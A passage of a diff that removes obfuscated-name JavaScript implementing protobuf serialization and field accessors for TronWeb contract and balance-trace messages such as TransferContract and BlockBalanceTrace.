- return _0x4182c4;
- });
- TronWebProto.FreezeBalanceContract.deserializeBinary = function (_0x1d6d60) {
- var _0x344659 = new _0x245757.BinaryReader(_0x1d6d60);
- var _0x5f3d16 = new TronWebProto.FreezeBalanceContract();
- return TronWebProto.FreezeBalanceContract.deserializeBinaryFromReader(_0x5f3d16, _0x344659);
- };
- TronWebProto.FreezeBalanceContract.deserializeBinaryFromReader = function (_0x516b8d, _0x164aff) {
- for (; _0x164aff.nextField() && !_0x164aff.isEndGroup();) {
- switch (_0x164aff.getFieldNumber()) {
- case 1:
- var _0xad2b3f = _0x164aff.readBytes();
- _0x516b8d.setOwnerAddress(_0xad2b3f);
- break;
- case 2:
- _0xad2b3f = _0x164aff.readInt64();
- _0x516b8d.setFrozenBalance(_0xad2b3f);
- break;
- case 3:
- _0xad2b3f = _0x164aff.readInt64();
- _0x516b8d.setFrozenDuration(_0xad2b3f);
- break;
- case 10:
- _0xad2b3f = _0x164aff.readEnum();
- _0x516b8d.setResource(_0xad2b3f);
- break;
- case 15:
- _0xad2b3f = _0x164aff.readBytes();
- _0x516b8d.setReceiverAddress(_0xad2b3f);
- break;
- default:
- _0x164aff.skipField();
- }
- }
- return _0x516b8d;
- };
- TronWebProto.FreezeBalanceContract.prototype.serializeBinary = function () {
- var _0xd0f2b9 = new _0x245757.BinaryWriter();
- TronWebProto.FreezeBalanceContract.serializeBinaryToWriter(this, _0xd0f2b9);
- return _0xd0f2b9.getResultBuffer();
- };
- TronWebProto.FreezeBalanceContract.serializeBinaryToWriter = function (_0x1da6b6, _0x159544) {
- var _0x384d35 = undefined;
- (_0x384d35 = _0x1da6b6.getOwnerAddress_asU8()).length > 0 && _0x159544.writeBytes(1, _0x384d35);
- 0 !== (_0x384d35 = _0x1da6b6.getFrozenBalance()) && _0x159544.writeInt64(2, _0x384d35);
- 0 !== (_0x384d35 = _0x1da6b6.getFrozenDuration()) && _0x159544.writeInt64(3, _0x384d35);
- 0 !== (_0x384d35 = _0x1da6b6.getResource()) && _0x159544.writeEnum(10, _0x384d35);
- (_0x384d35 = _0x1da6b6.getReceiverAddress_asU8()).length > 0 && _0x159544.writeBytes(15, _0x384d35);
- };
- TronWebProto.FreezeBalanceContract.prototype.getOwnerAddress = function () {
- return _0x245757.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.FreezeBalanceContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x245757.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.FreezeBalanceContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x245757.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.FreezeBalanceContract.prototype.setOwnerAddress = function (_0x1385d7) {
- return _0x245757.Message.setProto3BytesField(this, 1, _0x1385d7);
- };
- TronWebProto.FreezeBalanceContract.prototype.getFrozenBalance = function () {
- return _0x245757.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.FreezeBalanceContract.prototype.setFrozenBalance = function (_0x562f7b) {
- return _0x245757.Message.setProto3IntField(this, 2, _0x562f7b);
- };
- TronWebProto.FreezeBalanceContract.prototype.getFrozenDuration = function () {
- return _0x245757.Message.getFieldWithDefault(this, 3, 0);
- };
- TronWebProto.FreezeBalanceContract.prototype.setFrozenDuration = function (_0x1fc2c7) {
- return _0x245757.Message.setProto3IntField(this, 3, _0x1fc2c7);
- };
- TronWebProto.FreezeBalanceContract.prototype.getResource = function () {
- return _0x245757.Message.getFieldWithDefault(this, 10, 0);
- };
- TronWebProto.FreezeBalanceContract.prototype.setResource = function (_0x454769) {
- return _0x245757.Message.setProto3EnumField(this, 10, _0x454769);
- };
- TronWebProto.FreezeBalanceContract.prototype.getReceiverAddress = function () {
- return _0x245757.Message.getFieldWithDefault(this, 15, "");
- };
- TronWebProto.FreezeBalanceContract.prototype.getReceiverAddress_asB64 = function () {
- return _0x245757.Message.bytesAsB64(this.getReceiverAddress());
- };
- TronWebProto.FreezeBalanceContract.prototype.getReceiverAddress_asU8 = function () {
- return _0x245757.Message.bytesAsU8(this.getReceiverAddress());
- };
- TronWebProto.FreezeBalanceContract.prototype.setReceiverAddress = function (_0x4c470c) {
- return _0x245757.Message.setProto3BytesField(this, 15, _0x4c470c);
- };
- _0x245757.Message.GENERATE_TO_OBJECT && (TronWebProto.UnfreezeBalanceContract.prototype.toObject = function (_0x2279d0) {
- return TronWebProto.UnfreezeBalanceContract.toObject(_0x2279d0, this);
- }, TronWebProto.UnfreezeBalanceContract.toObject = function (_0x5eb1ec, _0x20f8d) {
- var _0x51d0f0 = {
- ownerAddress: _0x20f8d.getOwnerAddress_asB64(),
- resource: _0x245757.Message.getFieldWithDefault(_0x20f8d, 10, 0),
- receiverAddress: _0x20f8d.getReceiverAddress_asB64()
- };
- _0x5eb1ec && (_0x51d0f0.$jspbMessageInstance = _0x20f8d);
- return _0x51d0f0;
- });
- TronWebProto.UnfreezeBalanceContract.deserializeBinary = function (_0x30c609) {
- var _0x425d35 = new _0x245757.BinaryReader(_0x30c609);
- var _0x202906 = new TronWebProto.UnfreezeBalanceContract();
- return TronWebProto.UnfreezeBalanceContract.deserializeBinaryFromReader(_0x202906, _0x425d35);
- };
- TronWebProto.UnfreezeBalanceContract.deserializeBinaryFromReader = function (_0xc1167b, _0x30dcfc) {
- for (; _0x30dcfc.nextField() && !_0x30dcfc.isEndGroup();) {
- switch (_0x30dcfc.getFieldNumber()) {
- case 1:
- var _0x3f90b8 = _0x30dcfc.readBytes();
- _0xc1167b.setOwnerAddress(_0x3f90b8);
- break;
- case 10:
- _0x3f90b8 = _0x30dcfc.readEnum();
- _0xc1167b.setResource(_0x3f90b8);
- break;
- case 15:
- _0x3f90b8 = _0x30dcfc.readBytes();
- _0xc1167b.setReceiverAddress(_0x3f90b8);
- break;
- default:
- _0x30dcfc.skipField();
- }
- }
- return _0xc1167b;
- };
- TronWebProto.UnfreezeBalanceContract.prototype.serializeBinary = function () {
- var _0x48d2c6 = new _0x245757.BinaryWriter();
- TronWebProto.UnfreezeBalanceContract.serializeBinaryToWriter(this, _0x48d2c6);
- return _0x48d2c6.getResultBuffer();
- };
- TronWebProto.UnfreezeBalanceContract.serializeBinaryToWriter = function (_0x252ebb, _0x5a1322) {
- var _0x4f80f3 = undefined;
- (_0x4f80f3 = _0x252ebb.getOwnerAddress_asU8()).length > 0 && _0x5a1322.writeBytes(1, _0x4f80f3);
- 0 !== (_0x4f80f3 = _0x252ebb.getResource()) && _0x5a1322.writeEnum(10, _0x4f80f3);
- (_0x4f80f3 = _0x252ebb.getReceiverAddress_asU8()).length > 0 && _0x5a1322.writeBytes(15, _0x4f80f3);
- };
- TronWebProto.UnfreezeBalanceContract.prototype.getOwnerAddress = function () {
- return _0x245757.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.UnfreezeBalanceContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x245757.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.UnfreezeBalanceContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x245757.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.UnfreezeBalanceContract.prototype.setOwnerAddress = function (_0x4b8ede) {
- return _0x245757.Message.setProto3BytesField(this, 1, _0x4b8ede);
- };
- TronWebProto.UnfreezeBalanceContract.prototype.getResource = function () {
- return _0x245757.Message.getFieldWithDefault(this, 10, 0);
- };
- TronWebProto.UnfreezeBalanceContract.prototype.setResource = function (_0x3427e9) {
- return _0x245757.Message.setProto3EnumField(this, 10, _0x3427e9);
- };
- TronWebProto.UnfreezeBalanceContract.prototype.getReceiverAddress = function () {
- return _0x245757.Message.getFieldWithDefault(this, 15, "");
- };
- TronWebProto.UnfreezeBalanceContract.prototype.getReceiverAddress_asB64 = function () {
- return _0x245757.Message.bytesAsB64(this.getReceiverAddress());
- };
- TronWebProto.UnfreezeBalanceContract.prototype.getReceiverAddress_asU8 = function () {
- return _0x245757.Message.bytesAsU8(this.getReceiverAddress());
- };
- TronWebProto.UnfreezeBalanceContract.prototype.setReceiverAddress = function (_0x246d53) {
- return _0x245757.Message.setProto3BytesField(this, 15, _0x246d53);
- };
- _0x245757.Message.GENERATE_TO_OBJECT && (TronWebProto.WithdrawBalanceContract.prototype.toObject = function (_0x57730e) {
- return TronWebProto.WithdrawBalanceContract.toObject(_0x57730e, this);
- }, TronWebProto.WithdrawBalanceContract.toObject = function (_0x3f7609, _0x2e827f) {
- var _0x504282 = {
- ownerAddress: _0x2e827f.getOwnerAddress_asB64()
- };
- _0x3f7609 && (_0x504282.$jspbMessageInstance = _0x2e827f);
- return _0x504282;
- });
- TronWebProto.WithdrawBalanceContract.deserializeBinary = function (_0x3d34f7) {
- var _0x428782 = new _0x245757.BinaryReader(_0x3d34f7);
- var _0x2c9902 = new TronWebProto.WithdrawBalanceContract();
- return TronWebProto.WithdrawBalanceContract.deserializeBinaryFromReader(_0x2c9902, _0x428782);
- };
- TronWebProto.WithdrawBalanceContract.deserializeBinaryFromReader = function (_0x56a998, _0x249450) {
- for (; _0x249450.nextField() && !_0x249450.isEndGroup();) {
- if (1 === _0x249450.getFieldNumber()) {
- var _0x17f55f = _0x249450.readBytes();
- _0x56a998.setOwnerAddress(_0x17f55f);
- } else {
- _0x249450.skipField();
- }
- }
- return _0x56a998;
- };
- TronWebProto.WithdrawBalanceContract.prototype.serializeBinary = function () {
- var _0x16de3a = new _0x245757.BinaryWriter();
- TronWebProto.WithdrawBalanceContract.serializeBinaryToWriter(this, _0x16de3a);
- return _0x16de3a.getResultBuffer();
- };
- TronWebProto.WithdrawBalanceContract.serializeBinaryToWriter = function (_0x2096c1, _0xb71f6f) {
- var _0x14a695;
- (_0x14a695 = _0x2096c1.getOwnerAddress_asU8()).length > 0 && _0xb71f6f.writeBytes(1, _0x14a695);
- };
- TronWebProto.WithdrawBalanceContract.prototype.getOwnerAddress = function () {
- return _0x245757.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.WithdrawBalanceContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x245757.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.WithdrawBalanceContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x245757.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.WithdrawBalanceContract.prototype.setOwnerAddress = function (_0x16357d) {
- return _0x245757.Message.setProto3BytesField(this, 1, _0x16357d);
- };
- _0x245757.Message.GENERATE_TO_OBJECT && (TronWebProto.TransferContract.prototype.toObject = function (_0x7c88dc) {
- return TronWebProto.TransferContract.toObject(_0x7c88dc, this);
- }, TronWebProto.TransferContract.toObject = function (_0x50b599, _0xe582db) {
- var _0x1b52dd = {
- ownerAddress: _0xe582db.getOwnerAddress_asB64(),
- toAddress: _0xe582db.getToAddress_asB64(),
- amount: _0x245757.Message.getFieldWithDefault(_0xe582db, 3, 0)
- };
- _0x50b599 && (_0x1b52dd.$jspbMessageInstance = _0xe582db);
- return _0x1b52dd;
- });
- TronWebProto.TransferContract.deserializeBinary = function (_0x199dfd) {
- var _0x3408dc = new _0x245757.BinaryReader(_0x199dfd);
- var _0x36c3ac = new TronWebProto.TransferContract();
- return TronWebProto.TransferContract.deserializeBinaryFromReader(_0x36c3ac, _0x3408dc);
- };
- TronWebProto.TransferContract.deserializeBinaryFromReader = function (_0x3ab4ca, _0x1fb3b6) {
- for (; _0x1fb3b6.nextField() && !_0x1fb3b6.isEndGroup();) {
- switch (_0x1fb3b6.getFieldNumber()) {
- case 1:
- var _0x55953e = _0x1fb3b6.readBytes();
- _0x3ab4ca.setOwnerAddress(_0x55953e);
- break;
- case 2:
- _0x55953e = _0x1fb3b6.readBytes();
- _0x3ab4ca.setToAddress(_0x55953e);
- break;
- case 3:
- _0x55953e = _0x1fb3b6.readInt64();
- _0x3ab4ca.setAmount(_0x55953e);
- break;
- default:
- _0x1fb3b6.skipField();
- }
- }
- return _0x3ab4ca;
- };
- TronWebProto.TransferContract.prototype.serializeBinary = function () {
- var _0x252375 = new _0x245757.BinaryWriter();
- TronWebProto.TransferContract.serializeBinaryToWriter(this, _0x252375);
- return _0x252375.getResultBuffer();
- };
- TronWebProto.TransferContract.serializeBinaryToWriter = function (_0x2b6b47, _0x12832a) {
- var _0x16dc31 = undefined;
- (_0x16dc31 = _0x2b6b47.getOwnerAddress_asU8()).length > 0 && _0x12832a.writeBytes(1, _0x16dc31);
- (_0x16dc31 = _0x2b6b47.getToAddress_asU8()).length > 0 && _0x12832a.writeBytes(2, _0x16dc31);
- 0 !== (_0x16dc31 = _0x2b6b47.getAmount()) && _0x12832a.writeInt64(3, _0x16dc31);
- };
- TronWebProto.TransferContract.prototype.getOwnerAddress = function () {
- return _0x245757.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.TransferContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x245757.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.TransferContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x245757.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.TransferContract.prototype.setOwnerAddress = function (_0x36cc39) {
- return _0x245757.Message.setProto3BytesField(this, 1, _0x36cc39);
- };
- TronWebProto.TransferContract.prototype.getToAddress = function () {
- return _0x245757.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.TransferContract.prototype.getToAddress_asB64 = function () {
- return _0x245757.Message.bytesAsB64(this.getToAddress());
- };
- TronWebProto.TransferContract.prototype.getToAddress_asU8 = function () {
- return _0x245757.Message.bytesAsU8(this.getToAddress());
- };
- TronWebProto.TransferContract.prototype.setToAddress = function (_0x146de9) {
- return _0x245757.Message.setProto3BytesField(this, 2, _0x146de9);
- };
- TronWebProto.TransferContract.prototype.getAmount = function () {
- return _0x245757.Message.getFieldWithDefault(this, 3, 0);
- };
- TronWebProto.TransferContract.prototype.setAmount = function (_0x5ce273) {
- return _0x245757.Message.setProto3IntField(this, 3, _0x5ce273);
- };
- TronWebProto.TransactionBalanceTrace.repeatedFields_ = [2];
- _0x245757.Message.GENERATE_TO_OBJECT && (TronWebProto.TransactionBalanceTrace.prototype.toObject = function (_0x36b8de) {
- return TronWebProto.TransactionBalanceTrace.toObject(_0x36b8de, this);
- }, TronWebProto.TransactionBalanceTrace.toObject = function (_0x485f6f, _0x5e8ff9) {
- var _0x4c718a = {
- transactionIdentifier: _0x5e8ff9.getTransactionIdentifier_asB64(),
- operationList: _0x245757.Message.toObjectList(_0x5e8ff9.getOperationList(), TronWebProto.TransactionBalanceTrace.Operation.toObject, _0x485f6f),
- type: _0x245757.Message.getFieldWithDefault(_0x5e8ff9, 3, ""),
- status: _0x245757.Message.getFieldWithDefault(_0x5e8ff9, 4, "")
- };
- _0x485f6f && (_0x4c718a.$jspbMessageInstance = _0x5e8ff9);
- return _0x4c718a;
- });
- TronWebProto.TransactionBalanceTrace.deserializeBinary = function (_0x3118b0) {
- var _0x3a7953 = new _0x245757.BinaryReader(_0x3118b0);
- var _0x1380a2 = new TronWebProto.TransactionBalanceTrace();
- return TronWebProto.TransactionBalanceTrace.deserializeBinaryFromReader(_0x1380a2, _0x3a7953);
- };
- TronWebProto.TransactionBalanceTrace.deserializeBinaryFromReader = function (_0x5a7cea, _0x24fb4c) {
- for (; _0x24fb4c.nextField() && !_0x24fb4c.isEndGroup();) {
- switch (_0x24fb4c.getFieldNumber()) {
- case 1:
- var _0x539b14 = _0x24fb4c.readBytes();
- _0x5a7cea.setTransactionIdentifier(_0x539b14);
- break;
- case 2:
- _0x539b14 = new TronWebProto.TransactionBalanceTrace.Operation();
- _0x24fb4c.readMessage(_0x539b14, TronWebProto.TransactionBalanceTrace.Operation.deserializeBinaryFromReader);
- _0x5a7cea.addOperation(_0x539b14);
- break;
- case 3:
- _0x539b14 = _0x24fb4c.readString();
- _0x5a7cea.setType(_0x539b14);
- break;
- case 4:
- _0x539b14 = _0x24fb4c.readString();
- _0x5a7cea.setStatus(_0x539b14);
- break;
- default:
- _0x24fb4c.skipField();
- }
- }
- return _0x5a7cea;
- };
- TronWebProto.TransactionBalanceTrace.prototype.serializeBinary = function () {
- var _0x3cef7b = new _0x245757.BinaryWriter();
- TronWebProto.TransactionBalanceTrace.serializeBinaryToWriter(this, _0x3cef7b);
- return _0x3cef7b.getResultBuffer();
- };
- TronWebProto.TransactionBalanceTrace.serializeBinaryToWriter = function (_0x535871, _0x27fc10) {
- var _0x569204 = undefined;
- (_0x569204 = _0x535871.getTransactionIdentifier_asU8()).length > 0 && _0x27fc10.writeBytes(1, _0x569204);
- (_0x569204 = _0x535871.getOperationList()).length > 0 && _0x27fc10.writeRepeatedMessage(2, _0x569204, TronWebProto.TransactionBalanceTrace.Operation.serializeBinaryToWriter);
- (_0x569204 = _0x535871.getType()).length > 0 && _0x27fc10.writeString(3, _0x569204);
- (_0x569204 = _0x535871.getStatus()).length > 0 && _0x27fc10.writeString(4, _0x569204);
- };
- _0x245757.Message.GENERATE_TO_OBJECT && (TronWebProto.TransactionBalanceTrace.Operation.prototype.toObject = function (_0x22af8e) {
- return TronWebProto.TransactionBalanceTrace.Operation.toObject(_0x22af8e, this);
- }, TronWebProto.TransactionBalanceTrace.Operation.toObject = function (_0x13a97d, _0x187768) {
- var _0x203359 = {
- operationIdentifier: _0x245757.Message.getFieldWithDefault(_0x187768, 1, 0),
- address: _0x187768.getAddress_asB64(),
- amount: _0x245757.Message.getFieldWithDefault(_0x187768, 3, 0)
- };
- _0x13a97d && (_0x203359.$jspbMessageInstance = _0x187768);
- return _0x203359;
- });
- TronWebProto.TransactionBalanceTrace.Operation.deserializeBinary = function (_0x3e516b) {
- var _0x152e3b = new _0x245757.BinaryReader(_0x3e516b);
- var _0xf5b33b = new TronWebProto.TransactionBalanceTrace.Operation();
- return TronWebProto.TransactionBalanceTrace.Operation.deserializeBinaryFromReader(_0xf5b33b, _0x152e3b);
- };
- TronWebProto.TransactionBalanceTrace.Operation.deserializeBinaryFromReader = function (_0x5aa632, _0x54c877) {
- for (; _0x54c877.nextField() && !_0x54c877.isEndGroup();) {
- switch (_0x54c877.getFieldNumber()) {
- case 1:
- var _0x31808e = _0x54c877.readInt64();
- _0x5aa632.setOperationIdentifier(_0x31808e);
- break;
- case 2:
- _0x31808e = _0x54c877.readBytes();
- _0x5aa632.setAddress(_0x31808e);
- break;
- case 3:
- _0x31808e = _0x54c877.readInt64();
- _0x5aa632.setAmount(_0x31808e);
- break;
- default:
- _0x54c877.skipField();
- }
- }
- return _0x5aa632;
- };
- TronWebProto.TransactionBalanceTrace.Operation.prototype.serializeBinary = function () {
- var _0x865ceb = new _0x245757.BinaryWriter();
- TronWebProto.TransactionBalanceTrace.Operation.serializeBinaryToWriter(this, _0x865ceb);
- return _0x865ceb.getResultBuffer();
- };
- TronWebProto.TransactionBalanceTrace.Operation.serializeBinaryToWriter = function (_0x460372, _0x53130c) {
- var _0x1b7800 = undefined;
- 0 !== (_0x1b7800 = _0x460372.getOperationIdentifier()) && _0x53130c.writeInt64(1, _0x1b7800);
- (_0x1b7800 = _0x460372.getAddress_asU8()).length > 0 && _0x53130c.writeBytes(2, _0x1b7800);
- 0 !== (_0x1b7800 = _0x460372.getAmount()) && _0x53130c.writeInt64(3, _0x1b7800);
- };
- TronWebProto.TransactionBalanceTrace.Operation.prototype.getOperationIdentifier = function () {
- return _0x245757.Message.getFieldWithDefault(this, 1, 0);
- };
- TronWebProto.TransactionBalanceTrace.Operation.prototype.setOperationIdentifier = function (_0x5c067e) {
- return _0x245757.Message.setProto3IntField(this, 1, _0x5c067e);
- };
- TronWebProto.TransactionBalanceTrace.Operation.prototype.getAddress = function () {
- return _0x245757.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.TransactionBalanceTrace.Operation.prototype.getAddress_asB64 = function () {
- return _0x245757.Message.bytesAsB64(this.getAddress());
- };
- TronWebProto.TransactionBalanceTrace.Operation.prototype.getAddress_asU8 = function () {
- return _0x245757.Message.bytesAsU8(this.getAddress());
- };
- TronWebProto.TransactionBalanceTrace.Operation.prototype.setAddress = function (_0x2d3cce) {
- return _0x245757.Message.setProto3BytesField(this, 2, _0x2d3cce);
- };
- TronWebProto.TransactionBalanceTrace.Operation.prototype.getAmount = function () {
- return _0x245757.Message.getFieldWithDefault(this, 3, 0);
- };
- TronWebProto.TransactionBalanceTrace.Operation.prototype.setAmount = function (_0x4c27b3) {
- return _0x245757.Message.setProto3IntField(this, 3, _0x4c27b3);
- };
- TronWebProto.TransactionBalanceTrace.prototype.getTransactionIdentifier = function () {
- return _0x245757.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.TransactionBalanceTrace.prototype.getTransactionIdentifier_asB64 = function () {
- return _0x245757.Message.bytesAsB64(this.getTransactionIdentifier());
- };
- TronWebProto.TransactionBalanceTrace.prototype.getTransactionIdentifier_asU8 = function () {
- return _0x245757.Message.bytesAsU8(this.getTransactionIdentifier());
- };
- TronWebProto.TransactionBalanceTrace.prototype.setTransactionIdentifier = function (_0x511124) {
- return _0x245757.Message.setProto3BytesField(this, 1, _0x511124);
- };
- TronWebProto.TransactionBalanceTrace.prototype.getOperationList = function () {
- return _0x245757.Message.getRepeatedWrapperField(this, TronWebProto.TransactionBalanceTrace.Operation, 2);
- };
- TronWebProto.TransactionBalanceTrace.prototype.setOperationList = function (_0x425952) {
- return _0x245757.Message.setRepeatedWrapperField(this, 2, _0x425952);
- };
- TronWebProto.TransactionBalanceTrace.prototype.addOperation = function (_0x1f815a, _0x36200e) {
- return _0x245757.Message.addToRepeatedWrapperField(this, 2, _0x1f815a, TronWebProto.TransactionBalanceTrace.Operation, _0x36200e);
- };
- TronWebProto.TransactionBalanceTrace.prototype.clearOperationList = function () {
- return this.setOperationList([]);
- };
- TronWebProto.TransactionBalanceTrace.prototype.getType = function () {
- return _0x245757.Message.getFieldWithDefault(this, 3, "");
- };
- TronWebProto.TransactionBalanceTrace.prototype.setType = function (_0x1d0e2b) {
- return _0x245757.Message.setProto3StringField(this, 3, _0x1d0e2b);
- };
- TronWebProto.TransactionBalanceTrace.prototype.getStatus = function () {
- return _0x245757.Message.getFieldWithDefault(this, 4, "");
- };
- TronWebProto.TransactionBalanceTrace.prototype.setStatus = function (_0x37459d) {
- return _0x245757.Message.setProto3StringField(this, 4, _0x37459d);
- };
- TronWebProto.BlockBalanceTrace.repeatedFields_ = [3];
- _0x245757.Message.GENERATE_TO_OBJECT && (TronWebProto.BlockBalanceTrace.prototype.toObject = function (_0x235c1f) {
- return TronWebProto.BlockBalanceTrace.toObject(_0x235c1f, this);
- }, TronWebProto.BlockBalanceTrace.toObject = function (_0x272e7d, _0x9b16ac) {
- var _0x3610d0;
- var _0x264fb0 = {
- blockIdentifier: (_0x3610d0 = _0x9b16ac.getBlockIdentifier()) && TronWebProto.BlockBalanceTrace.BlockIdentifier.toObject(_0x272e7d, _0x3610d0),
- timestamp: _0x245757.Message.getFieldWithDefault(_0x9b16ac, 2, 0),
- transactionBalanceTraceList: _0x245757.Message.toObjectList(_0x9b16ac.getTransactionBalanceTraceList(), TronWebProto.TransactionBalanceTrace.toObject, _0x272e7d)
- };
- _0x272e7d && (_0x264fb0.$jspbMessageInstance = _0x9b16ac);
- return _0x264fb0;
- });
- TronWebProto.BlockBalanceTrace.deserializeBinary = function (_0x4fb0f0) {
- var _0x495339 = new _0x245757.BinaryReader(_0x4fb0f0);
- var _0x55a33f = new TronWebProto.BlockBalanceTrace();
- return TronWebProto.BlockBalanceTrace.deserializeBinaryFromReader(_0x55a33f, _0x495339);
- };
- TronWebProto.BlockBalanceTrace.deserializeBinaryFromReader = function (_0x4f5ade, _0x196660) {
- for (; _0x196660.nextField() && !_0x196660.isEndGroup();) {
- switch (_0x196660.getFieldNumber()) {
- case 1:
- var _0x2a6df3 = new TronWebProto.BlockBalanceTrace.BlockIdentifier();
- _0x196660.readMessage(_0x2a6df3, TronWebProto.BlockBalanceTrace.BlockIdentifier.deserializeBinaryFromReader);
- _0x4f5ade.setBlockIdentifier(_0x2a6df3);
- break;
- case 2:
- _0x2a6df3 = _0x196660.readInt64();
- _0x4f5ade.setTimestamp(_0x2a6df3);
- break;
- case 3:
- _0x2a6df3 = new TronWebProto.TransactionBalanceTrace();
- _0x196660.readMessage(_0x2a6df3, TronWebProto.TransactionBalanceTrace.deserializeBinaryFromReader);
- _0x4f5ade.addTransactionBalanceTrace(_0x2a6df3);
- break;
- default:
- _0x196660.skipField();
- }
- }
- return _0x4f5ade;
- };
- TronWebProto.BlockBalanceTrace.prototype.serializeBinary = function () {
- var _0x310399 = new _0x245757.BinaryWriter();
- TronWebProto.BlockBalanceTrace.serializeBinaryToWriter(this, _0x310399);
- return _0x310399.getResultBuffer();
- };
- TronWebProto.BlockBalanceTrace.serializeBinaryToWriter = function (_0x35651c, _0x35ba31) {
- var _0x4101b8 = undefined;
- null != (_0x4101b8 = _0x35651c.getBlockIdentifier()) && _0x35ba31.writeMessage(1, _0x4101b8, TronWebProto.BlockBalanceTrace.BlockIdentifier.serializeBinaryToWriter);
- 0 !== (_0x4101b8 = _0x35651c.getTimestamp()) && _0x35ba31.writeInt64(2, _0x4101b8);
- (_0x4101b8 = _0x35651c.getTransactionBalanceTraceList()).length > 0 && _0x35ba31.writeRepeatedMessage(3, _0x4101b8, TronWebProto.TransactionBalanceTrace.serializeBinaryToWriter);
- };
- _0x245757.Message.GENERATE_TO_OBJECT && (TronWebProto.BlockBalanceTrace.BlockIdentifier.prototype.toObject = function (_0x265ebc) {
- return TronWebProto.BlockBalanceTrace.BlockIdentifier.toObject(_0x265ebc, this);
- }, TronWebProto.BlockBalanceTrace.BlockIdentifier.toObject = function (_0x4fb383, _0x1b5beb) {
- var _0x5eb3bc = {
- hash: _0x1b5beb.getHash_asB64(),
- number: _0x245757.Message.getFieldWithDefault(_0x1b5beb, 2, 0)
- };
- _0x4fb383 && (_0x5eb3bc.$jspbMessageInstance = _0x1b5beb);
- return _0x5eb3bc;
- });
- TronWebProto.BlockBalanceTrace.BlockIdentifier.deserializeBinary = function (_0x450253) {
- var _0xafe4b9 = new _0x245757.BinaryReader(_0x450253);
- var _0x4714f1 = new TronWebProto.BlockBalanceTrace.BlockIdentifier();
- return TronWebProto.BlockBalanceTrace.BlockIdentifier.deserializeBinaryFromReader(_0x4714f1, _0xafe4b9);
- };
- TronWebProto.BlockBalanceTrace.BlockIdentifier.deserializeBinaryFromReader = function (_0x5f3dd7, _0xcc3c85) {
- for (; _0xcc3c85.nextField() && !_0xcc3c85.isEndGroup();) {
- switch (_0xcc3c85.getFieldNumber()) {
- case 1:
- var _0xdabbbb = _0xcc3c85.readBytes();
- _0x5f3dd7.setHash(_0xdabbbb);
- break;
- case 2:
- _0xdabbbb = _0xcc3c85.readInt64();
- _0x5f3dd7.setNumber(_0xdabbbb);
- break;
- default:
- _0xcc3c85.skipField();
- }
- }
- return _0x5f3dd7;
- };
- TronWebProto.BlockBalanceTrace.BlockIdentifier.prototype.serializeBinary = function () {
- var _0x5568d7 = new _0x245757.BinaryWriter();
- TronWebProto.BlockBalanceTrace.BlockIdentifier.serializeBinaryToWriter(this, _0x5568d7);
- return _0x5568d7.getResultBuffer();
- };
- TronWebProto.BlockBalanceTrace.BlockIdentifier.serializeBinaryToWriter = function (_0x4bced4, _0x2f1a88) {
- var _0x2ec521 = undefined;
- (_0x2ec521 = _0x4bced4.getHash_asU8()).length > 0 && _0x2f1a88.writeBytes(1, _0x2ec521);
- 0 !== (_0x2ec521 = _0x4bced4.getNumber()) && _0x2f1a88.writeInt64(2, _0x2ec521);
- };
- TronWebProto.BlockBalanceTrace.BlockIdentifier.prototype.getHash = function () {
- return _0x245757.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.BlockBalanceTrace.BlockIdentifier.prototype.getHash_asB64 = function () {
- return _0x245757.Message.bytesAsB64(this.getHash());
- };
- TronWebProto.BlockBalanceTrace.BlockIdentifier.prototype.getHash_asU8 = function () {
- return _0x245757.Message.bytesAsU8(this.getHash());
- };
- TronWebProto.BlockBalanceTrace.BlockIdentifier.prototype.setHash = function (_0x36a180) {
- return _0x245757.Message.setProto3BytesField(this, 1, _0x36a180);
- };
- TronWebProto.BlockBalanceTrace.BlockIdentifier.prototype.getNumber = function () {
- return _0x245757.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.BlockBalanceTrace.BlockIdentifier.prototype.setNumber = function (_0x2ce704) {
- return _0x245757.Message.setProto3IntField(this, 2, _0x2ce704);
- };
- TronWebProto.BlockBalanceTrace.prototype.getBlockIdentifier = function () {
- return _0x245757.Message.getWrapperField(this, TronWebProto.BlockBalanceTrace.BlockIdentifier, 1);
- };
- TronWebProto.BlockBalanceTrace.prototype.setBlockIdentifier = function (_0x5df250) {
- return _0x245757.Message.setWrapperField(this, 1, _0x5df250);
- };
- TronWebProto.BlockBalanceTrace.prototype.clearBlockIdentifier = function () {
- return this.setBlockIdentifier(undefined);
- };
- TronWebProto.BlockBalanceTrace.prototype.hasBlockIdentifier = function () {
- return null != _0x245757.Message.getField(this, 1);
- };
- TronWebProto.BlockBalanceTrace.prototype.getTimestamp = function () {
- return _0x245757.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.BlockBalanceTrace.prototype.setTimestamp = function (_0x3998c2) {
- return _0x245757.Message.setProto3IntField(this, 2, _0x3998c2);
- };
- TronWebProto.BlockBalanceTrace.prototype.getTransactionBalanceTraceList = function () {
- return _0x245757.Message.getRepeatedWrapperField(this, TronWebProto.TransactionBalanceTrace, 3);
- };
- TronWebProto.BlockBalanceTrace.prototype.setTransactionBalanceTraceList = function (_0x12975b) {
- return _0x245757.Message.setRepeatedWrapperField(this, 3, _0x12975b);
- };
